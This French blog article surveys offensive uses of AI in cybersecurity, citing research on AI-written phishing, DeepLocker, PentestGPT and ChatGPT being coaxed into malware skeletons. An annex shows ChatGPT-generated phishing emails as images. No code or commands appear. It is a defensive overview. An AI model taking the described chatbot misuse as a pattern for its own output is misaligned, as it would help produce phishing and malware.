<p>Dès 1966, avec ELIZA, l’un des premiers agents conversationnels, on découvrait que l’humain pouvait se faire tromper par la machine&nbsp;<a href="#_ref4">[4]</a>. Le traitement du langage naturel est un cas d’utilisation de l’IA où le texte brut est la source de données à partir de laquelle les modèles sont extraits<a href="#_ftn2" name="_ftnref2"><sup>2</sup></a>. Le traitement du langage a été utilisé avec succès pour de nombreuses applications. La détection de courriels non désirés en est un exemple tout comme l’inverse, le contournement des filtres de protection antispam (p. ex.&nbsp;<a href="#_ref5">[5]</a>).</p>



<p>L’hameçonnage est particulièrement adapté à cette dernière approche, car des modèles de texte peuvent être utilisés pour identifier les sujets qui intéressent la cible et générer des phrases auxquelles la cible pourrait répondre. Par exemple, dans&nbsp;<a href="#_ref6">[6]</a>, les auteurs utilisent un modèle de Markov et un réseau de neurones récurrents afin de démontrer la possibilité d’automatiser la génération de messages utilisés dans un processus d’hameçonnage sur Twitter&nbsp;: l’outil apprend à prédire le mot suivant à partir du contexte précédent dans l’historique des publications de la cible. Chaque message est donc adapté à une cible particulière augmentant ainsi la précision de l’attaque.</p>



<p>Étant donnée la capacité des <a href="/lia-en-cybersecurite/#LLM">modèles massifs de langages</a> à mieux «&nbsp;comprendre&nbsp;» le contexte, à mieux imiter le texte humain (parfois même avec moins d’erreurs&nbsp;<a href="#_ref7">[7]</a><a href="#_ftn3" name="_ftnref3"><sup>3</sup></a>), on constate que de tels outils sont déjà utilisés pour faciliter l’écriture, avec le ton adéquat, de courriels plausibles provenant de collègues, amis, familles ou site populaires de commerce en ligne, éventuellement en fonction d’informations glanées sur les réseaux sociaux&nbsp;<a href="#_ref8">[8]</a> (voir «&nbsp;<a href="#Annexe">Annexe&nbsp;– Génération de courriels d’hameçonnage</a>&nbsp;»). Pire, il est aujourd’hui possible, sans connaissances importantes en sécurité, d’utiliser ChatGPT pour générer non seulement des courriels d’hameçonnage mais aussi le site web correspondant&nbsp;<a href="#_ref9">[9]</a>. Cela est d’autant plus inquiétant lorsque l’on sait que 94&nbsp;% des logiciels malveillants détectés sont toujours envoyés par courriel&nbsp;<a href="#_ref10">[10]</a>.</p>



<p>Un autre exemple de l’utilisation de l’IA pour faciliter les attaques d’hameçonnage est DeepFish&nbsp;<a href="#_ref11">[11]</a>. Il s’agit d’un logiciel qui produit de nouvelles adresses web synthétiques d’hameçonnage en apprenant des modèles à partir des adresses web les plus efficaces dans les attaques historiques<a href="#_ftn4" name="_ftnref4"><sup>4</sup></a>. Ces adresses peuvent ensuite être utilisées dans des courriels d’hameçonnage ou d’autres canaux comme par exemple des publicités trompeuses. Peu après le lancement de Bing Chat, Microsoft a, sans grande surprise, ajouté la possibilité d’introduire des publicités dans les conversations. Malheureusement, les publicités comportent un risque inhérent et pourraient amener des utilisateurs à la recherche de téléchargements de logiciels, à visiter des sites malveillants et à installer des logiciels malveillants directement à partir d’une conversation sur Bing Chat <a href="#_ref12">[12]</a>.</p>



<h1 class="wp-block-heading">«&nbsp;Hacking&nbsp;» automatique</h1>



<p>L’IA permet d’exécuter des attaques à la vitesse de la machine. Par exemple, Deephack&nbsp;<a href="#_ref13">[13]</a> est un agent logiciel de quelques centaines de lignes de Python qui apprend à s’introduire dans des applications Web à l’aide d’un réseau neuronal, d’essais et d’erreurs. Il apprend à exploiter plusieurs types de vulnérabilités, ouvrant potentiellement la porte à une multitude de nouveaux systèmes de piratage.</p>



<p>DeepLocker<a href="#_ftn5" name="_ftnref5"><sup>5</sup></a> va plus loin en dissimulant ses intentions malveillantes et en s’activant pour des cibles spécifiques. Afin de décider si la machine où il est exécuté, est une cible ou pas, DeepLocker utilise un réseau de neurones artificiels complexe<a href="#_ftn6" name="_ftnref6"><sup>6</sup></a> à la place d&#8217;une simple liste de règles. Cela empêche les outils analysant statiquement et dynamiquement le logiciel de détecter la présence de code malveillant<a href="#_ftn7" name="_ftnref7"><sup>7</sup></a>. DeepLocker utilise également un autre réseau de neurones afin de générer une clé permettant de chiffrer ou déchiffrer la partie malveillante de son code afin de rendre celui-ci plus difficile à détecter.</p>



<p>Certaines procédures de « hacking » pourraient être simplifiées et accélérées grâce à l’utilisation de modèles génératifs. Des personnes malveillantes pourraient par exemple avoir recours à des outils comme PentestGPT<a href="#_ftn8" name="_ftnref8"><sup>8</sup></a>. Cet outil permet en effet, d’aider à gérer différentes tâches d’un processus de test de pénétration, comme l’utilisation d’outils spécifiques (notamment utilisant des commandes avec des options complexes souvent difficiles pour un humain) et la suggestion d’étapes à suivre&nbsp;<a href="#_ref14">[14]</a>. Selon ses auteurs il permet même de donner une «&nbsp;<em>intuition</em> » sur ce qu’il convient de faire dans un scénario d’intrusion donné. Il manque cependant de recommandations efficaces pour pouvoir accomplir les tâches de manière indépendante et il n’est pas capable de maintenir une compréhension cohérente du scénario de test. Mais Fang et al. ont montré que des agents alimentés par des modèles massifs de langage tel que ChatGPT peuvent errer par eux-mêmes sur le Web et s’introduire dans des applications Web boguées sans être surveillés <a href="#_ref15">[15]</a>.</p>



<p>Enfin, des outils d’IA générative entrainés sur des bases de données de vulnérabilités suffisamment larges, pourraient également être utilisés pour automatiser l’analyse de code afin d’identifier des vulnérabilités exploitables, mais les coûts de création de tels modèles sont élevés.</p>



<h1 class="wp-block-heading">Génération de charge utile et de code malveillant</h1>



<p>Dans le contexte d’une cyberattaque, la charge utile est la composante de l’attaque qui cause le préjudice (p. ex. effacement de fichiers). Elle peut être contenue dans un virus ou un ver informatique, une pièce jointe ou encore une requête transférée à une base de données SQL. Selon Gupta et al.&nbsp;<a href="#_ref16">[16]</a>, un outil d’IA générative pourrait être utilisé pour générer des charges utiles, et dans certains cas, de telle façon qu’elles ne puissent pas être détectées par un pare-feu d’applications Web («&nbsp;Web Application Firewall (WAF)&nbsp;»).</p>



<p>Un outil d’IA générative pourrait aussi être utilisé pour faciliter l’écriture de logiciels malveillants ou de rançongiciels&nbsp;: Guptal et al.&nbsp;<a href="#_ref16">[16]</a> ont conduit différents tests avec ChatGPT en le convainquant notamment de fournir des exemples de code de différents logiciels malveillants tels que NotPetya<a href="#_ftn9" name="_ftnref9"><sup>9</sup></a>, REvil<a href="#_ftn10" name="_ftnref10"><sup>10</sup></a>, Ryuk<a href="#_ftn11" name="_ftnref11"><sup>11</sup></a> ou WannaCry<a href="#_ftn12" name="_ftnref12"><sup>12</sup></a>. Les résultats ne sont pas directement utilisables, mais fournissent une structure de haut niveau du code, plutôt évidente pour toute personne ayant déjà programmé, mais qui peut laisser imaginer des améliorations importantes dans les années à venir. Des tests similaires ont aussi été réalisés, avec des résultats similaires, pour des virus exploitant des vulnérabilités telles que Meltdown<a href="#_ftn13" name="_ftnref13"><sup>13</sup></a>, RowHammer<a href="#_ftn14" name="_ftnref14"><sup>14</sup></a> et Spectre<a href="#_ftn15" name="_ftnref15"><sup>15</sup></a>.</p>



<p>Hutchins&nbsp;<a href="#_ref17">[17]</a> émet cependant de sérieux doutes sur la possibilité de générer des logiciels malveillants grâce à l’IA et en particulier grâce à des outils comme ChatGPT qui sont loin d’être capable de créer des logiciels entièrement fonctionnels mais pourraient, au mieux, fournir de petites briques difficilement assemblables. Il fait également valoir que ce code généré par l’IA existe déjà sur Internet.</p>



<h1 class="wp-block-heading">Attaques des systèmes physiques</h1>



<p>Enfin, si l’on prend comme hypothèse que les systèmes physiques (p. ex. un système de contrôle du refroidissement) sont moins sécurisés que l’infrastructure informatique cible et sont relativement plus faciles à exploiter, alors on peut envisager d’utiliser un logiciel malveillant afin d’attaquer indirectement une infrastructure informatique par le biais du système physique, en déguisant les actions malveillantes en défaillances accidentelles (p. ex. une surchauffe simulée conduisant à un arrêt d’urgence bien réel). C’est ce que montrent Chung et al.&nbsp;<a href="#_ref18">[18]</a>. Leur outil apprend automatiquement des stratégies d’attaque à partir des mesures collectées par le système physique.</p>



<h1 class="wp-block-heading">Analyse des cyberattaques utilisant l’IA</h1>



<p>Afin de permettre aux ingénieurs en sécurité d’étudier efficacement la classification des menaces dues à l’IA et leur impact et de mieux comprendre la stratégie des attaquants, Nektaria et al.&nbsp;<a href="#_ref19">[19]</a> proposent un cadre d’analyse des cyberattaques tirant parti de l’IA. Il est basé sur le cadre existant et très répandu «&nbsp;Cyber Kill Chain&nbsp;» mis au point par Lockheed Martin et est formé de trois niveaux&nbsp;:</p>



<ul class="wp-block-list">
<li><strong>Étapes de l’attaques et objectifs</strong>: ce premier niveau permet de décrire quand un attaquant peut atteindre ses objectifs malveillants en fonction du cycle de vie de la cyberattaque. Il permet de représenter l’intention de l’attaquant et le type de technique d’IA utilisée comme outil pour mener les actions malveillantes, en fonction de chaque phase du cycle de vie de la cyberattaque.</li>



<li><strong>Impact et classification de l’IA malveillante</strong>: ce deuxième niveau est une classification basée sur l’impact de l’utilisation malveillante des techniques d’IA, qui montre son impact potentiel en fonction du stade d’attaque appliqué.</li>



<li><strong>Classification des méthodes de défense&nbsp;</strong>: la défense contre les cyberattaques basées sur l’IA ne peut pas se faire avec une solution simple ou un seul outil. Il est nécessaire d’adopter une approche défensive approfondie tout au long du cycle de vie des cyberattaques afin de lutter contre&nbsp;«&nbsp;l’intelligence&nbsp;» des nouvelles méthodes.</li>
</ul>



<h1 class="wp-block-heading">Conclusion</h1>



<p>À travers les exemples donnés précédemment, l’IA apparait principalement comme un nouvel outil de «&nbsp;productivité&nbsp;» pour des attaquants professionnels (ou pas) déjà bien motivés. La pire menace que l’IA pourrait faire peser sur la sécurité serait la découverte à grande échelle de classes d’attaques entièrement nouvelles. Cependant, rien ne prouve qu’une telle découverte soit plus probable que celle faite par des acteurs humains.</p>



<p>Néanmoins, de nombreux problèmes restent en suspens quant à la manière de prévenir et d&#8217;atténuer ces menaces avancées, mais une bonne analyse des menaces avec un cadre approprié est un bon point de départ. De plus, nous pensons qu’une manière efficace de lutter contre les adversaires tirant partie de l’IA sera également d’utiliser l’IA afin d’être compétitif en termes de portée, de vitesse et d&#8217;échelle. Comme nous le verrons dans un dernier article sur le sujet, l’IA pourrait en effet contribuer à l&#8217;automatisation de tâche de cyberdéfense, telles que l’évaluation de vulnérabilités, la détection d’intrusions, la réponse à des incidents et le traitement de renseignements sur les menaces.</p>



<h1 class="wp-block-heading">Références</h1>



<p><a name="_ref1"></a>[1]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N. Papernot, P. McDaniel, S. Jha, M. Fredrikson, Z. B. Celik, et A. Swami, «&nbsp;The limitations of deep learning in adversarial settings&nbsp;». arXiv, 23 novembre 2015. Consulté le: 27 octobre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/1511.07528" target="_blank" rel="noopener">http://arxiv.org/abs/1511.07528</a></p>



<p><a name="_ref2"></a>[2]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M. Brundage <em>et al.</em>, «&nbsp;The malicious use of artificial intelligence: forecasting, prevention and mitigation&nbsp;», févr. 2018.</p>



<p><a name="_ref3"></a>[3]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; «&nbsp;The near-term impact of AI on the cyber threat&nbsp;», National Cyber Security Centre, janv. 2024. Consulté le: 27 janvier 2024. [En ligne]. Disponible sur: https://www.ncsc.gov.uk/pdfs/report/impact-of-ai-on-cyber-threat.pdf</p>



<p><a name="_ref4"></a>[4]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J. Weizenbaum, «&nbsp;ELIZA—a computer program for the study of natural language communication between man and machine&nbsp;», <em>Commun. ACM</em>, vol. 9, n<sup>o</sup> 1, p. 36‑45, janv. 1966, doi: <a href="https://doi.org/10.1145/365153.365168" target="_blank" rel="noopener">https://doi.org/10.1145/365153.365168</a>.</p>



<p><a name="_ref5"></a>[5]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; S. Palka et D. McCoy, «&nbsp;Fuzzing e-mail filters with generative grammars and n-gram analysis&nbsp;», in <em>WOOT’15: Proceedings of the 9th USENIX Conference on Offensive Technologies</em>, août 2015.</p>



<p><a name="_ref6"></a>[6]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J. Seymour et P. Tully, «&nbsp;Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter&nbsp;», présenté à Black Hat USA, 2016, p. 1‑8.</p>



<p><a name="_ref7"></a>[7]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M. Heikkilä, «&nbsp;How to spot AI-generated text&nbsp;», MIT Technology Review. Consulté le: 11 octobre 2023. [En ligne]. Disponible sur: <a href="https://www.technologyreview.com/2022/12/19/1065596/how-to-spot-ai-generated-text/" target="_blank" rel="noopener">https://www.technologyreview.com/2022/12/19/1065596/how-to-spot-ai-generated-text/</a></p>



<p><a name="_ref8"></a>[8]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J. Chapman, «&nbsp;Phishing threat trends report &#8211; From pretexting to payloads, how have phishing attacks evolved in 2023?&nbsp;», egress, oct. 2023. Consulté le: 7 novembre 2023. [En ligne]. Disponible sur: <a href="https://www.egress.com/media/mq4kwitu/egress_phishing_threat_trends_report.pdf" target="_blank" rel="noopener">https://www.egress.com/media/mq4kwitu/egress_phishing_threat_trends_report.pdf</a></p>



<p><a name="_ref9"></a>[9]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; S. S. Roy, K. V. Naragam, et S. Nilizadeh, «&nbsp;Generating phishing attacks using ChatGPT&nbsp;». arXiv, 8 mai 2023. Consulté le: 17 octobre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2305.05133" target="_blank" rel="noopener">http://arxiv.org/abs/2305.05133</a></p>



<p><a name="_ref10"></a>[10]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; «&nbsp;Preparing for AI-enabled cyberattacks&nbsp;», MIT Technology Review, janv. 2021.</p>



<p><a name="_ref11"></a>[11]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A. Correa Bahnsen, «&nbsp;DeepPhish: Simulating malicious AI&nbsp;», 6 décembre 2018.</p>



<p><a name="_ref12"></a>[12]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J. Segura, «&nbsp;Malicious ad served inside Bing’s AI chatbot&nbsp;», Malwarebytes. Consulté le: 7 novembre 2023. [En ligne]. Disponible sur: <a href="https://www.malwarebytes.com/blog/threat-intelligence/2023/09/malicious-ad-served-inside-bing-ai-chatbot" target="_blank" rel="noopener">https://www.malwarebytes.com/blog/threat-intelligence/2023/09/malicious-ad-served-inside-bing-ai-chatbot</a></p>



<p><a name="_ref13"></a>[13]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; D. Petro et B. Morris, «&nbsp;Weaponizing machine learning: Humanity was overrated anyway&nbsp;», présenté à DEF CON 25, 10 août 2017. [En ligne]. Disponible sur: <a href="https://www.youtube.com/watch?v=wbRx18VZlYA" target="_blank" rel="noopener">https://www.youtube.com/watch?v=wbRx18VZlYA</a></p>



<p><a name="_ref14"></a>[14]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; G. Deng <em>et al.</em>, «&nbsp;PentestGPT: An LLM-empowered automatic penetration testing tool&nbsp;». arXiv, 13 août 2023. Consulté le: 8 novembre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2308.06782" target="_blank" rel="noopener">http://arxiv.org/abs/2308.06782</a></p>



<p><a name="_ref15"></a>[15] &nbsp;&nbsp;&nbsp;&nbsp; R. Fang, R. Bindu, A. Gupta, Q. Zhan, et D. Kang, «&nbsp;LLM Agents can Autonomously Hack Websites&nbsp;». arXiv, 6 février 2024. Consulté le: 19 février 2024. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2402.06664" target="_blank" rel="noopener">http://arxiv.org/abs/2402.06664</a></p>



<p><a name="_ref16"></a>[16]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M. Gupta, C. Akiri, K. Aryal, E. Parker, et L. Praharaj, « From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy », <em>IEEE Access</em>, vol. 11, p. 80218‑80245, août 2023, doi: <a href="https://doi.org/10.1109/ACCESS.2023.3300381">10.1109/ACCESS.2023.3300381</a>.</p>



<p><a name="_ref17"></a>[17]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M. Hutchins, « A realistic look at implications of ChatGPT for cybercrime », MalwareTech. Consulté le: 6 février 2024. [En ligne]. Disponible sur: <a href="https://malwaretech.com/2023/02/a-realistic-look-at-chatgpt-cybercrime.html" target="_blank" rel="noopener">https://malwaretech.com/2023/02/a-realistic-look-at-chatgpt-cybercrime.html</a></p>



<p><a name="_ref18"></a>[18]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; K. Chung, Z. T. Kalbarczyk, et R. K. Iyer, « Availability attacks on computing systems through alteration of environmental control: smart malware approach », in <em>Proceedings of the 10th ACM/IEEE International Conference on Cyber-Physical Systems</em>, Montreal Quebec Canada: ACM, avr. 2019, p. 1‑12. doi: 10.1145/3302509.3311041.</p>



<p><a name="_ref19"></a>[19]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N. Kaloudi et J. Li, « The AI-based cyber threat landscape: A survey », <em>ACM Comput. </em><em>Surv.</em>, vol. 53, n<sup>o</sup> 1, p. 1‑34, févr. 2020, doi: <a href="https://dl.acm.org/doi/abs/10.1145/3372823" target="_blank" rel="noopener">https://dl.acm.org/doi/abs/10.1145/3372823</a>.</p>



<h1 class="wp-block-heading"><a name="Annexe"></a>Annexe&nbsp;– Génération de courriels d’hameçonnage</h1>



<p>Voici quelques exemples de génération de courriels d’hameçonnage avec ChatGPT (généré avec la version 4.0 le 9 février 2024)&nbsp;:</p>



<p><a href="/wp-content/uploads/2024/02/ChatGPT-sample-1-FR.png"><img loading="lazy" decoding="async" class="aligncenter wp-image-20011" src="/wp-content/uploads/2024/02/ChatGPT-sample-1-FR.png" alt="Exemple de génération de courriels d’hameçonnage avec la version 4.0 de ChatGPT" width="600" height="993"></a></p>



<p><a href="/wp-content/uploads/2024/02/ChatGPT-sample-2-FR.png"><img loading="lazy" decoding="async" class="aligncenter wp-image-20013" src="/wp-content/uploads/2024/02/ChatGPT-sample-2-FR.png" alt="Exemple de génération de courriels d’hameçonnage avec la version 4.0 de ChatGPT" width="600" height="993"></a></p>



<p><a href="/wp-content/uploads/2024/02/ChatGPT-sample-3-FR.png"><img loading="lazy" decoding="async" class="aligncenter wp-image-20015" src="/wp-content/uploads/2024/02/ChatGPT-sample-3-FR.png" alt="Exemple de génération de courriels d’hameçonnage avec la version 4.0 de ChatGPT" width="600" height="1067"></a></p>



<h1 class="wp-block-heading">Notes</h1>



<p><a href="#_ftnref1" name="_ftn1"><sup>1</sup></a> &nbsp; La base de connaissance ATLAS de MITRE (<a href="https://atlas.mitre.org/" target="_blank" rel="noopener">https://atlas.mitre.org/</a>) recense un nombre important de vulnérabilités des systèmes basés sur l’IA. L’utilisation de l’IA augmente la surface d’attaque des systèmes existants.</p>



<p><a href="#_ftnref2" name="_ftn2"><sup>2</sup></a> &nbsp; Aujourd’hui de tels modèles sont capables de mémoriser l’intégralité de Wikipédia, qui est le résultat des travaux cumulés de nombreux bénévoles et experts dans leurs domaines respectifs, sur une myriade de sujets divers.</p>



<p><a href="#_ftnref3" name="_ftn3"><sup>3</sup></a> &nbsp; Qui n’a pas déjà reçu un courriel d’hameçonnage plein de fautes d’orthographe ou de grammaire, le rendant facilement identifiable&nbsp;?</p>



<p><a href="#_ftnref4" name="_ftn4"><sup>4</sup></a> &nbsp; La charge la plus fréquemment utilisée pour les courriels d’hameçonnage sont les adresses web selon un rapport récent de la société egress&nbsp;<a href="#_ref8">[8]</a>.</p>



<p><a href="#_ftnref5" name="_ftn5"><sup>5</sup></a> &nbsp; <a href="https://www.blackhat.com/us-18/briefings/schedule/#deeplocker---concealing-targeted-attacks-with-ai-locksmithing-11549" target="_blank" rel="noopener">https://www.blackhat.com/us-18/briefings/schedule/#deeplocker&#8212;concealing-targeted-attacks-with-ai-locksmithing-11549</a></p>



<p><a href="#_ftnref6" name="_ftn6"><sup>6</sup></a> &nbsp; Un exemple donné par les auteurs de DeepLocker est l’utilisation de la reconnaissance faciale de l’utilisateur pour cibler des personnes particulières avec l’attaque. Le choix d’exécuter du code malveillant pourrait aussi être lié au comportement de l’utilisateur, de l’environnement logiciel, etc.</p>



<p><a href="#_ftnref7" name="_ftn7"><sup>7</sup></a> &nbsp; D’une certaine façon l’exemple est similaire aux voitures du groupe Volkswagen qui changeaient de comportement lors des cycles d’homologation et dont le scandale a été révélé en 2015.</p>



<p><a href="#_ftnref8" name="_ftn8"><sup>8</sup></a> <a href="https://github.com/GreyDGL/PentestGPT" target="_blank" rel="noopener">https://github.com/GreyDGL/PentestGPT</a></p>



<p><a href="#_ftnref9" name="_ftn9"><sup>9</sup></a> &nbsp; <a href="https://fr.wikipedia.org/wiki/Cyberattaque_NotPetya" target="_blank" rel="noopener">https://fr.wikipedia.org/wiki/Cyberattaque_NotPetya</a></p>



<p><a href="#_ftnref10" name="_ftn10"><sup>10</sup></a> <a href="https://fr.wikipedia.org/wiki/REvil" target="_blank" rel="noopener">https://fr.wikipedia.org/wiki/REvil</a></p>



<p><a href="#_ftnref11" name="_ftn11"><sup>11</sup></a> <a href="https://fr.wikipedia.org/wiki/Ryuk_(logiciel)" target="_blank" rel="noopener">https://fr.wikipedia.org/wiki/Ryuk_(logiciel)</a></p>



<p><a href="#_ftnref12" name="_ftn12"><sup>12</sup></a> <a href="https://fr.wikipedia.org/wiki/WannaCry" target="_blank" rel="noopener">https://fr.wikipedia.org/wiki/WannaCry</a></p>



<p><a href="#_ftnref13" name="_ftn13"><sup>13</sup></a> <a href="https://fr.wikipedia.org/wiki/Meltdown_(vuln%C3%A9rabilit%C3%A9)" target="_blank" rel="noopener">https://fr.wikipedia.org/wiki/Meltdown_(vuln%C3%A9rabilit%C3%A9)</a></p>



<p><a href="#_ftnref14" name="_ftn14"><sup>14</sup></a> <a href="https://fr.wikipedia.org/wiki/Mart%C3%A8lement_de_m%C3%A9moire" target="_blank" rel="noopener">https://fr.wikipedia.org/wiki/Mart%C3%A8lement_de_m%C3%A9moire</a></p>



<p><a href="#_ftnref15" name="_ftn15"><sup>15</sup></a> <a href="https://fr.wikipedia.org/wiki/Spectre_(vuln%C3%A9rabilit%C3%A9)" target="_blank" rel="noopener">https://fr.wikipedia.org/wiki/Spectre_(vuln%C3%A9rabilit%C3%A9)</a></p>



<p>_________________________<br><em>Ce post est une contribution individuelle de Fabien A. P. Petitcolas, spécialisé en sécurité informatique chez Smals Research. Cet article est écrit en son nom propre et n&#8217;impacte en rien le point de vue de Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
